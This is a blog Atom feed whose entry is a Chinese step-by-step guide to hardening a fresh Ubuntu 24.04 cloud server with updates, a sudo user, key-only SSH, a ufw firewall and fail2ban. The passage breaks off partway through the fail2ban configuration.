<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>还魂灵猫</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://www.catwhiteangel.com/</id>
  <link href="https://www.catwhiteangel.com/" rel="alternate"/>
  <link href="https://www.catwhiteangel.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 还魂灵猫</rights>
  <title>还魂灵猫也不知道写什么的博客</title>
  <updated>2026-07-26T06:13:00.000Z</updated>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Linux Security" scheme="https://www.catwhiteangel.com/categories/Linux-Security/"/>
    <category term="Ubuntu" scheme="https://www.catwhiteangel.com/tags/Ubuntu/"/>
    <category term="SSH" scheme="https://www.catwhiteangel.com/tags/SSH/"/>
    <category term="UFW" scheme="https://www.catwhiteangel.com/tags/UFW/"/>
    <category term="fail2ban" scheme="https://www.catwhiteangel.com/tags/fail2ban/"/>
    <content>
      <![CDATA[<div class="note info flat"><p>作者声明：本文所有命令均在一台全新的 Ubuntu 24.04 云服务器上实际验证通过。软件版本迭代较快，若实际情况与本文描述存在差异，请以官方文档为准。</p></div><h1>云服务器到手第一件事——Ubuntu 24.04 安全加固实操</h1><p>拿到一台新的云服务器，在部署任何业务之前，需要先完成基础的安全加固工作。本文记录了这台服务器从初始状态到具备基本防护能力的完整操作过程，适用于所有需要长期在公网运行服务的 Ubuntu 24.04 主机。</p><span id="more"></span><h2 id="0-为什么拿到服务器的第一件事是加固">0 为什么拿到服务器的第一件事是加固</h2><p>一台刚开通的云服务器，公网 IP 分配后的几分钟内就会开始收到扫描流量。这并非针对性攻击，互联网上有大量自动化脚本在持续扫描全网段，发现 22 端口开放就会尝试用弱密码字典爆破 root。开一台新机器，观察一天后查看日志：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lastb | <span class="built_in">wc</span> -l    <span class="comment"># 统计失败登录次数</span></span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/ubuntu-2404-server-hardening/20260726184020485.png" alt=""></p><p>通常能看到成百上千条失败记录。这就是加固需要应对的现实威胁，即无差别的自动化爆破，而不是有针对性的入侵。相应地，本文的加固思路也比较直接，分四层递进：</p><ul><li><strong>系统更新</strong>：先修复已知漏洞，这是所有后续措施的基础。</li><li><strong>SSH 加固</strong>：爆破成立的前提是密码有可能被猜中。改为仅密钥登录后，基于服务器密码的在线字典爆破就失去了入口。</li><li><strong>防火墙</strong>：默认拒绝所有入站流量，只放行明确需要的端口，缩小暴露面。</li><li><strong>fail2ban + 自动安全更新</strong>：前者封禁反复试探的来源 IP，后者自动安装安全更新，降低漏打补丁的风险。需要重启才能生效的更新仍由管理员安排。</li></ul><p>完成这四层之后，可以显著降低自动化扫描、口令爆破和意外端口暴露带来的风险。需要明确的是，这些措施针对的是自动化威胁。如果服务器上存在值得定向攻击的资产，则需要更完整的安全方案。对于个人自用、运行网站或游戏服务端等应用的机器来说，这个防护等级是合理的，且日常维护成本很低。</p><p><strong>本文环境</strong>：</p><ul><li><strong>系统</strong>：Ubuntu Server 24.04 LTS（云厂商官方镜像）</li><li><strong>登录方式</strong>：初始为 root 密码登录（不同厂商的初始交付方式不同，有的默认提供 ubuntu 用户和密钥，流程需要相应微调）</li><li><strong>客户端</strong>：任意支持 OpenSSH 的终端</li></ul><p>另外需要注意，主流云厂商（阿里云、腾讯云、AWS 等）在 VPC 层面还提供一道<strong>安全组（Security Group）</strong>，它与本文配置的 ufw 是两道相互独立的防护，流量需要同时通过两者才能到达服务。建议两道都配置。安全组作用在网络入口，ufw 跟随系统本身，将来更换厂商或迁移镜像时，系统内的防火墙规则不会丢失。本文以 ufw 为主线，安全组的业务端口与 ufw 保持一致即可。安全组还有一个 ufw 示例中未体现的优势，即可以直接限制来源地址。如果有稳定的公网出口 IP，SSH 端口最好只对自己的 IP/CIDR 开放（如 203.0.113.10/32），而不是向 0.0.0.0/0 和 ::/0 全部开放。当出口地址经常变化、无法固定时，才向公网开放该端口，并依赖密钥认证、ufw 与 fail2ban 这几层防护。</p><h2 id="1-系统更新">1 系统更新</h2><p>用初始凭据以 root 登录服务器。如果厂商交付的是普通用户，以下命令前需要加 sudo。</p><p><strong>1. 更新软件包索引</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt update</span><br></pre></td></tr></table></figure><p><strong>2. 安装当前可用的软件包升级</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt upgrade</span><br></pre></td></tr></table></figure><p>新开通的服务器，镜像内置的补丁通常落后当前版本数周到数月，第一次 upgrade 的更新量会比较大。这里是&quot;当前可用&quot;是因为有两类更新不会被立即安装。一类是因依赖变动被保留（held back）的包，<code>apt upgrade</code> 不会强行处理。另一类是 Ubuntu 分阶段更新（phased updates）机制下按比例灰度推送的包，当前机器可能延迟几天才会收到。这两种情况都属正常，不需要强行安装，也不建议在新机器上直接使用可能移除软件包的 <code>full-upgrade</code>。升级过程中如果弹出交互界面询问&quot;哪些服务需要重启&quot;，直接回车接受默认值即可。如果提示配置文件冲突，先按 D 查看差异。确认没有云厂商或个人定制时，可以采用维护者版本。拿不准时优先保留当前版本（N），升级完成后再手工合并。需要注意的是，即使是刚开通的机器，云镜像和 cloud-init 也可能已经修改过网络或 SSH 相关配置，不要仅因为&quot;服务器是新的&quot;就默认覆盖。</p><p><img src="https://img.gulugulublog.com/posts/ubuntu-2404-server-hardening/20260726185846581.png" alt=""></p><p><strong>3. 如有内核更新，重启一次</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /var/run/reboot-required</span><br><span class="line">reboot    <span class="comment"># 上一条显示*** System restart required ***时执行</span></span><br></pre></td></tr></table></figure><p>Ubuntu 通过 <code>/var/run/reboot-required</code> 文件标记存在需要重启才能生效的更新，典型情况是内核升级。新机器尚未部署业务，此时重启成本最低，建议在进入后续配置之前完成。等服务上线后再重启，就需要专门安排维护窗口了。</p><h2 id="2-创建日常用户，告别-root-直连">2 创建日常用户，告别 root 直连</h2><p>root 是暴力破解脚本的首要目标，因为这个用户名必然存在，攻击者只需要猜密码。本节创建一个专用的日常管理用户，平时用它登录，需要提权时使用 sudo，root 的 SSH 登录则在后面彻底关闭。需要说明的是，真正起防护作用的是下一节的 <code>PasswordAuthentication no</code>、<code>PermitRootLogin no</code> 和 <code>AllowUsers</code> 白名单。关闭密码登录之后，用户名是否难以猜测已经无关紧要，因此取名以清晰、便于管理为主。</p><p><strong>1. 创建用户</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adduser deploy</span><br></pre></td></tr></table></figure><p>Ubuntu 上推荐使用 <code>adduser</code> 而不是底层的 <code>useradd</code>。<code>adduser</code> 是 Debian 系的交互式封装，会自动创建家目录、复制 skel 模板并调用 passwd 设置密码，一条命令即可完成全部工作。<code>useradd</code> 不带参数时连家目录都不会创建。用户名请替换为你自己的。</p><p>这里设置的是本地密码，之后 sudo 提权时需要用到。SSH 登录不会用到它，因为下一节会关闭密码认证。因此设置一个强密码并存入密码管理器即可，不必追求好记。</p><p><strong>2. 加入 sudo 组</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">usermod -aG <span class="built_in">sudo</span> deploy</span><br></pre></td></tr></table></figure><p><code>-a</code> 表示 append（追加），<code>-G</code> 指定附加组。<strong><code>-a</code> 不能省略</strong>。单独的 <code>-G</code> 含义是&quot;将附加组列表设置为&quot;，会把用户从其他所有附加组中移除。在新机器上这没有实际差别，但这个习惯值得从一开始就养成。Ubuntu 的 sudoers 默认放行 sudo 组（<code>%sudo ALL=(ALL:ALL) ALL</code>），入组即获得完整的 sudo 权限，无需再修改 sudoers 文件。</p><p><strong>3. 验证</strong></p><p>保持 root 会话不关，<strong>另开一个终端</strong>用新用户登录并验证提权：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh deploy@&lt;服务器IP&gt;</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">whoami</span>    <span class="comment"># 输出 root 即成功</span></span><br></pre></td></tr></table></figure><p>&quot;另开终端验证、保留旧会话兜底&quot;的做法贯穿本文。SSH 加固的每一步都可能把自己锁在门外，唯一可靠的保险是始终保留一个已登录的会话。</p><p>这里顺带约定后文的权限前提。涉及修改 /etc、安装软件、管理 systemd 服务和配置防火墙的服务器端命令，默认在保留的 root 会话中执行。如果你已经切换到 deploy 会话操作，请自行在这些命令前加 sudo。需要在客户端本地执行的命令会另行注明。</p><h2 id="3-SSH-加固">3 SSH 加固</h2><p>本章是全文的核心。目标状态是：仅允许密钥登录、禁止 root 登录、限制认证重试次数。操作顺序不能乱。</p><h3 id="3-1-部署密钥">3.1 部署密钥</h3><p><strong>1. 在客户端（你自己的电脑）生成密钥对</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519 -C <span class="string">&quot;deploy@my-server&quot;</span></span><br></pre></td></tr></table></figure><p><code>-t ed25519</code> 指定椭圆曲线算法。它的密钥短（公钥约 80 个字符）、验证速度快，也没有 RSA 在密钥长度上的历史包袱，是当前 OpenSSH 推荐的算法。<code>-C</code> 只是注释，用于日后在 authorized_keys 里分辨这把密钥属于谁、用于什么，建议写成&quot;用户@用途&quot;的格式。提示输入 passphrase 时建议设置，它保护的是私钥文件本身，即使电脑丢失，没有 passphrase 也无法直接使用私钥。配合 ssh-agent 使用，日常并不需要反复输入。</p><p>如果提示 <code>id_ed25519 already exists. Overwrite (y/n)?</code>，说明这台电脑上已经存在一把同名密钥。此时<strong>不要确认覆盖</strong>，该操作会不可逆地销毁旧私钥，所有仍依赖它认证的服务器都会无法登录。接下来有两种选择：</p><ul><li><strong>复用现有密钥</strong>：跳过生成步骤，直接部署现有公钥。个人场景下用一把带 passphrase 的密钥登录多台服务器很常见，管理成本最低。</li><li><strong>为这台服务器单独生成</strong>：用 <code>-f</code> 指定新文件名，避开默认路径：</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_myserver -C <span class="string">&quot;deploy@my-server&quot;</span></span><br></pre></td></tr></table></figure><p>两种方式各有利弊。共用一把密钥管理简单，但它一旦泄露会波及所有服务器。按服务器分别生成密钥可以隔离影响范围，泄露后也能单独吊销，代价是多一层文件管理。</p><p>如果选择了单独命名，后文所有出现 <code>id_ed25519</code> 的位置都要替换成新文件名，包括部署和验证时的 <code>-i</code> 参数以及客户端 config 中的 <code>IdentityFile</code>。另外，非默认名称的密钥 ssh 不会自动尝试，必须在客户端 config 中通过 <code>IdentityFile</code> 显式指定。</p><p><strong>2. 把公钥部署到服务器</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-copy-id -i ~/.ssh/id_ed25519.pub deploy@&lt;服务器IP&gt;</span><br></pre></td></tr></table></figure><p><code>ssh-copy-id</code> 会用当前还可用的密码登录一次，把公钥追加到服务器上的 <code>~/.ssh/authorized_keys</code>，并在需要时创建相关目录和文件，比手工复制更不容易出错。这里显式指定 <code>-i</code>，确保部署的是刚生成的这把公钥。不带 <code>-i</code> 时它会优先使用 ssh-agent 中已加载的密钥，如果 agent 里有多把密钥，可能把其他公钥也一并写入服务器。OpenSSH 默认开启 StrictModes，会检查这些路径的属主和写权限。如果家目录、<code>.ssh</code> 或 <code>authorized_keys</code> 能被其他用户写入，密钥就有被替换的风险，sshd 通常会拒绝使用它。检查的重点是&quot;其他人不可写&quot;和&quot;属主正确&quot;，不要求权限精确等于某个数值，但 700/600 是最稳妥的推荐值，部署后可以核对一次：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 700 ~/.ssh</span><br><span class="line"><span class="built_in">chmod</span> 600 ~/.ssh/authorized_keys</span><br><span class="line"><span class="built_in">ls</span> -ld ~/.ssh ~/.ssh/authorized_keys    <span class="comment"># 确认属主是登录用户本人</span></span><br></pre></td></tr></table></figure><p>如果曾以 root 身份手工动过这些文件，还要检查属主：<code>chown -R deploy:deploy /home/deploy/.ssh</code>。</p><p>Linux、macOS、WSL 和 Git Bash 通常自带 ssh-copy-id。Windows 原生 PowerShell 的 OpenSSH 没有这个命令，可以用管道做等价替代：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Get-Content</span> <span class="string">&quot;<span class="variable">$HOME</span>\.ssh\id_ed25519.pub&quot;</span> | ssh deploy<span class="selector-tag">@</span>&lt;服务器IP&gt; <span class="string">&quot;umask 077; mkdir -p ~/.ssh; cat &gt;&gt; ~/.ssh/authorized_keys&quot;</span></span><br></pre></td></tr></table></figure><p><code>umask 077</code> 保证新建的目录和文件一开始就是收紧的权限，执行后同样做一遍上面的权限核对。</p><p><strong>3. 验证密钥登录已生效</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh deploy@&lt;服务器IP&gt;    <span class="comment"># 此时应不再询问服务器密码（passphrase 是本地私钥的口令，不是服务器密码）</span></span><br></pre></td></tr></table></figure><p>各平台的 OpenSSH 都会自动尝试默认路径下的 <code>id_ed25519</code>，通常不需要额外参数。如果仍被询问服务器密码，可以显式指定私钥，先排除路径方面的问题。Windows PowerShell 下写作：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh <span class="literal">-i</span> <span class="variable">$HOME</span>\.ssh\id_ed25519 deploy<span class="selector-tag">@</span>&lt;服务器IP&gt;</span><br></pre></td></tr></table></figure><p>Linux/macOS 则是 <code>ssh -i ~/.ssh/id_ed25519 deploy@&lt;服务器IP&gt;</code>。如果显式指定能登录而默认调用不能，说明密钥不在默认路径，或者受到了 agent 干扰，此时可以用 <code>ssh -v</code> 查看客户端实际尝试了哪些密钥。另外，下一节要配置的客户端 <code>~/.ssh/config</code> 在 Windows 上同样有效，路径为 <code>$HOME\.ssh\config</code>（即 <code>C:\Users\&lt;用户名&gt;\.ssh\config</code>），写法完全一致。配置好之后，登录时就不再需要手动指定 <code>-i</code>。</p><p><strong>这一步没通过，绝对不要进行下一节。</strong></p><h3 id="3-2-收紧-sshd-配置">3.2 收紧 sshd 配置</h3><p>Ubuntu 24.04 的 <code>/etc/ssh/sshd_config</code> 开头有一行 <code>Include /etc/ssh/sshd_config.d/*.conf</code>。我们不动主配置文件，把加固项写进 drop-in。这样做有两个好处：发行版升级时不会产生配置文件冲突，自己改了什么也一目了然。</p><p><strong>1. 先看一眼已有的 drop-in</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> /etc/ssh/sshd_config.d/</span><br><span class="line"><span class="built_in">cat</span> /etc/ssh/sshd_config.d/*.conf</span><br></pre></td></tr></table></figure><p>云镜像上大概率会看到一个 <code>50-cloud-init.conf</code>，内容是 <code>PasswordAuthentication yes</code>。这是 cloud-init 在初始化时写入的，也是&quot;印象中 Ubuntu 默认关闭了密码登录，实际却还能用密码登录&quot;的原因。<strong>不要直接删除它</strong>，cloud-init 的某些操作可能重新生成该文件，我们用加载顺序来覆盖它。</p><p><strong>2. 新建加固配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/ssh/sshd_config.d/10-hardening.conf</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/ssh/sshd_config.d/10-hardening.conf</span></span><br><span class="line">PasswordAuthentication no</span><br><span class="line">KbdInteractiveAuthentication no</span><br><span class="line">PermitRootLogin no</span><br><span class="line">MaxAuthTries 3</span><br><span class="line">LoginGraceTime 30</span><br><span class="line">X11Forwarding no</span><br><span class="line">AllowUsers deploy</span><br></pre></td></tr></table></figure><p>文件名里的 <code>10</code> 不是随手写的。sshd 按字典序读取 drop-in，且对同一配置项<strong>首个出现的值生效</strong>（first-match wins，这与多数软件&quot;后加载覆盖先加载&quot;的直觉相反）。<code>10-</code> 排在 <code>50-cloud-init.conf</code> 前面，我们的 <code>PasswordAuthentication no</code> 先被读到，cloud-init 那行就成为无效的重复声明。</p><p>各项说明：</p><ul><li><code>PasswordAuthentication no</code>：关闭密码认证。这条生效后，sshd 根本不会走到验证密码这一步，针对密码的字典爆破也就无从下手。</li><li><code>KbdInteractiveAuthentication no</code>：关闭键盘交互式认证。PAM 可以通过这条通道提供口令、验证码等交互式认证方式。为了避免普通密码经由这条通道继续可用，需要与上一条一起关闭。</li><li><code>PermitRootLogin no</code>：root 完全不接受 SSH 登录，包括密钥登录。需要 root 权限时用普通用户登录后再 sudo，这一步会在日志中留下 sudo 提权记录，便于后续审计。</li><li><code>MaxAuthTries 3</code>：限制单次连接内的认证尝试次数。注意客户端每提交一把不匹配的密钥也计一次。ssh-agent 中有多把密钥时，客户端会逐把尝试，可能在轮到正确的密钥之前就达到上限，报 <code>Too many authentication failures</code>。因此收紧这个值的前提是客户端明确指定密钥（见下方客户端配置）。如果不想处理这个兼容问题，保留默认值 6 也完全可以。</li><li><code>LoginGraceTime 30</code>：连接建立后 30 秒内必须完成认证，否则断开。默认的 120 秒偏长，会让慢速攻击和半开连接长时间占用 sshd 资源。</li><li><code>X11Forwarding no</code>：服务器没有图形界面，这个转发通道属于多余的攻击面，关闭。</li><li><code>AllowUsers deploy</code>：白名单，只有列出的用户可以通过 SSH 登录。它和 <code>PermitRootLogin no</code> 有功能重叠，但白名单体现了默认拒绝的思路：以后系统里因为安装软件新增的服务账户，不会意外获得 SSH 入口。多个用户用空格分隔。</li></ul><p>配合 <code>MaxAuthTries 3</code>，建议在客户端 <code>~/.ssh/config</code> 里为这台服务器写一段配置，把提交的密钥限定为这一把：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 客户端 ~/.ssh/config</span></span><br><span class="line">Host my-server</span><br><span class="line">    HostName &lt;服务器IP&gt;</span><br><span class="line">    User deploy</span><br><span class="line">    IdentityFile ~/.ssh/id_ed25519</span><br><span class="line">    IdentitiesOnly <span class="built_in">yes</span></span><br><span class="line">    <span class="comment"># Port 36022    # 若按 3.3 节修改了端口，再加这行</span></span><br></pre></td></tr></table></figure><p><code>IdentitiesOnly yes</code> 让客户端只提交 <code>IdentityFile</code> 指定的密钥，不再把 ssh-agent 里的密钥逐个尝试。这样既不会触发服务器的尝试次数上限，也省去了每次输入 IP 和用户名的麻烦，之后用 <code>ssh my-server</code> 即可登录。</p><p>你可能注意到配置里没有写 <code>AuthenticationMethods publickey</code>。在 Ubuntu 默认关闭其他认证方式（GSSAPI、host-based 等），且上面已经禁用密码和键盘交互的前提下，公钥实际上已经是唯一可用的登录方式，本文不再额外设置。<code>AuthenticationMethods</code> 的作用是明确限定认证流程或组合多因素，例如 <code>publickey,keyboard-interactive</code> 表示两种方式必须依次通过。PAM 层的 TOTP 走的就是后一条通道，这也是第 7 节提到的 2FA 方案的实现基础。</p><p><strong>3. 校验配置语法</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sshd -t</span><br></pre></td></tr></table></figure><p>没有任何输出表示通过。<strong>如果报错就停下来修好，此时旧配置仍在运行，不会有任何影响</strong>。带着语法错误 restart，是把自己锁在门外的典型原因。</p><p><strong>4. 重启 sshd 并验证</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart ssh</span><br></pre></td></tr></table></figure><p>这里按 Ubuntu 官方文档的推荐，用 <code>systemctl restart ssh</code> 让 sshd 重新读取配置。默认配置下，已建立的连接由各自独立的 sshd 进程持有，重启负责接受新连接的服务通常不会断开这些连接。但不要把这个行为当成唯一的防锁死保障，保留旧终端、用新终端验证登录，这条纪律仍然必须遵守。另外需要区分一种情况：本节这些认证相关的参数，restart 服务即可生效。如果修改的是监听端口（Port / ListenAddress），还要额外处理 systemd 的 socket 单元。Ubuntu 从 22.10 起，ssh 默认采用 socket 激活，由 <code>ssh.socket</code> 监听端口，有连接进来才拉起 sshd，24.04 延续了这套机制，具体见下一节。</p><p><strong>保持当前会话不关，另开终端做两个验证</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh deploy@&lt;服务器IP&gt;                                  <span class="comment"># 密钥登录应正常</span></span><br><span class="line">ssh -o PubkeyAuthentication=no deploy@&lt;服务器IP&gt;       <span class="comment"># 强制不用密钥，应直接被拒绝：Permission denied (publickey)</span></span><br></pre></td></tr></table></figure><p>第二条命令是在模拟攻击者的行为：禁用自己的密钥去连接，如果服务器仍然询问密码，说明配置没有生效，需要回头检查 drop-in 的文件名排序和拼写。两个验证都通过，SSH 加固才算完成。</p><h3 id="3-3-关于修改-SSH-端口">3.3 关于修改 SSH 端口</h3><p>个人认为全网段的扫描工具遍历全部端口只是时间问题，密钥认证才是真正起作用的防护。改端口的实际收益，是让日志里的爆破记录从每天几千条降到接近零。日志干净了，真正异常的访问才容易被发现。</p><p>如果要改，顺序很重要：<strong>先放行新端口，再修改配置，验证通过后再关闭旧端口</strong>。</p><p><strong>1. 先放行新端口</strong>。在云安全组放行 36022/tcp。如果此时 ufw 已经处于启用状态（按本文顺序第 4 节还在后面，尚未启用则跳过这条），也先执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw <span class="built_in">limit</span> 36022/tcp comment <span class="string">&#x27;SSH&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>2. 修改配置并应用</strong>。在 <code>10-hardening.conf</code> 里加一行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Port 36022    <span class="comment"># 1024–65535 之间自选，避开常见服务端口</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sshd -t</span><br><span class="line">systemctl daemon-reload</span><br><span class="line">systemctl restart ssh.socket</span><br></pre></td></tr></table></figure><p>注意这里多了 <code>daemon-reload</code>，重启对象也变成了 <code>ssh.socket</code>，原因就是上一节末尾提到的 socket 激活：监听端口的是 systemd 的 socket 单元，而不是 sshd 本身。24.04 提供了一个 systemd generator，会在 daemon-reload 时解析 sshd_config 中的 Port 指令并同步给 socket 单元，因此不需要像 22.10/23.04 那样手写 socket 的 override 文件。但 <code>daemon-reload</code> 这一步不能省，只 restart ssh 的话监听端口不会变化。</p><p><strong>3. 检查监听</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl status ssh.socket</span><br><span class="line">ss -ltnp <span class="string">&#x27;sport = :36022&#x27;</span></span><br></pre></td></tr></table></figure><p>有一点需要注意：socket 激活模式下，<code>ss</code> 显示的监听进程可能是 systemd 而不是 sshd。监听 socket 本来就由 systemd 持有，这属于正常现象，如果习惯性地用 <code>ss -tlnp | grep ssh</code> 过滤，反而可能看不到结果。</p><p><img src="https://img.gulugulublog.com/posts/ubuntu-2404-server-hardening/20260726200221148.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/ubuntu-2404-server-hardening/20260726200242098.png" alt=""></p><p><strong>4. 验证后再关闭旧端口</strong>。另开终端用 <code>ssh -p 36022</code> 登录，<strong>在成功之前保留安全组里旧 22 端口的规则</strong>。确认新端口登录无误后，再删除安全组（以及 ufw 里如有）的旧端口规则。</p><h2 id="4-防火墙-ufw">4 防火墙 ufw</h2><p>ufw（Uncomplicated Firewall）是 iptables/nftables 的前端，Ubuntu 默认自带，规则语法直观。整体策略可以概括为一句话：<strong>默认拒绝所有入站流量，按需逐条放行</strong>。</p><p><strong>1. 设置默认策略</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ufw default deny incoming     <span class="comment"># 入站默认拒绝</span></span><br><span class="line">ufw default allow outgoing    <span class="comment"># 出站默认放行</span></span><br></pre></td></tr></table></figure><p>入站默认拒绝是整个防火墙策略的基础。出站保持放行是一个务实的取舍：服务器需要执行 apt 更新、拉取部署文件，fail2ban 也需要查询 DNS，如果逐条管理出站规则，维护成本会远高于它在个人服务器场景下的实际收益。出站管控主要应对主机被入侵后阻止外联的场景，这部分内容不在本文讨论范围内。</p><p><strong>2. 放行 SSH（在 enable 之前！）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw <span class="built_in">limit</span> 36022/tcp comment <span class="string">&#x27;SSH&#x27;</span>    <span class="comment"># 端口按实际情况填写，未修改端口则为 22/tcp。若 3.3 节已提前添加，会提示规则已存在，跳过即可</span></span><br></pre></td></tr></table></figure><p>这里使用 <code>limit</code> 而不是 <code>allow</code>：<code>limit</code> 在放行的基础上附带内置限速，同一 IP 在 30 秒内发起 6 次或更多新连接时会被临时拒绝。它与 fail2ban 构成互补的两层防护，<code>limit</code> 在内核层拦截高频连接，开销很低，fail2ban 则在应用层分析日志并执行较长时间的封禁。<code>comment</code> 的作用是为后续维护提供说明，之后执行 <code>ufw status</code> 时可以直接看清每条规则的用途。</p><p><strong>3. 启用</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw <span class="built_in">enable</span></span><br></pre></td></tr></table></figure><p>执行后会警告可能中断现有 SSH 连接，确认上一步的放行规则无误后输入 y。<code>ufw enable</code> 会同时配置开机自启，不需要再单独处理 systemctl。</p><p><strong>4. 验证</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw status verbose</span><br></pre></td></tr></table></figure><p>输出中应包含默认策略 <code>deny (incoming), allow (outgoing)</code>，以及 SSH 端口的 LIMIT 规则。Ubuntu 默认启用了 ufw 的 IPv6 支持（可用 <code>grep '^IPV6=' /etc/default/ufw</code> 核对），因此通常会看到 IPv4 和 IPv6 各一条规则。如果服务器持有公网 IPv6 地址，这一点尤其重要，只检查 IPv4 规则而忽略 IPv6 侧，会在防护上留下明显缺口。反过来，如果列表中只有 IPv4 规则，应先核对上述开关是否被镜像修改过，而不是怀疑自己的操作有误。</p><p><strong>关于业务端口</strong>：现阶段<strong>不要</strong>提前放行任何尚未部署的服务端口（80、443 或其他应用端口）。防火墙规则应当跟随服务走，在服务安装完成、确认需要对外提供访问时，再执行对应的 <code>ufw allow</code>，这是&quot;默认拒绝&quot;原则的自然延伸。</p><p><strong>一个预警</strong>：如果后续打算用 Docker 部署服务，需要注意 Docker 默认直接操作 iptables，通过 <code>-p 8080:8080</code> 发布的端口会<strong>绕过 ufw</strong> 直接暴露到公网，即使 ufw 中没有对应的放行规则也无法拦截。这是 Docker 与 ufw 共存时的一个已知问题。届时要么使用 <code>127.0.0.1:8080:8080</code> 绑定回环地址，再由反向代理转发，要么明确接受&quot;Docker 发布的端口交由安全组管理&quot;这一方案。</p><h2 id="5-fail2ban">5 fail2ban</h2><p>ufw 的 limit 只拦同一 IP 的高频新连接，fail2ban 则真正去读日志。认证失败次数达到阈值的来源 IP 会被防火墙直接封禁一段时间，因此它能处理低于连接限速阈值的慢速尝试。同时也要清楚它的边界，这种按 IP 统计的机制对频繁轮换 IP 或分布式僵尸网络效果有限。fail2ban 只是密钥认证和最小化暴露面之外的补充层，不能替代前两者。</p><p><strong>1. 安装</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install fail2ban -y</span><br></pre></td></tr></table></figure><p>24.04 的 fail2ban 包已经依赖 <code>python3-systemd</code>（读取 journald 日志的 Python 绑定库），安装时会一并带上，不需要手动指定。sshd 的认证日志走 systemd journal，fail2ban 直接从 journal 读取，相比依赖 rsyslog 落盘的 /var/log/auth.log，少了一层间接依赖，也没有日志轮转的边界问题。</p><p><strong>2. 编写本地配置</strong></p><p>fail2ban 的配置是分层的。<code>jail.conf</code> 由发行版维护默认值，升级时会被覆盖，<strong>永远不要直接改它</strong>。本地定制写在 <code>jail.local</code>，同名配置项会覆盖 conf 里的值。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td 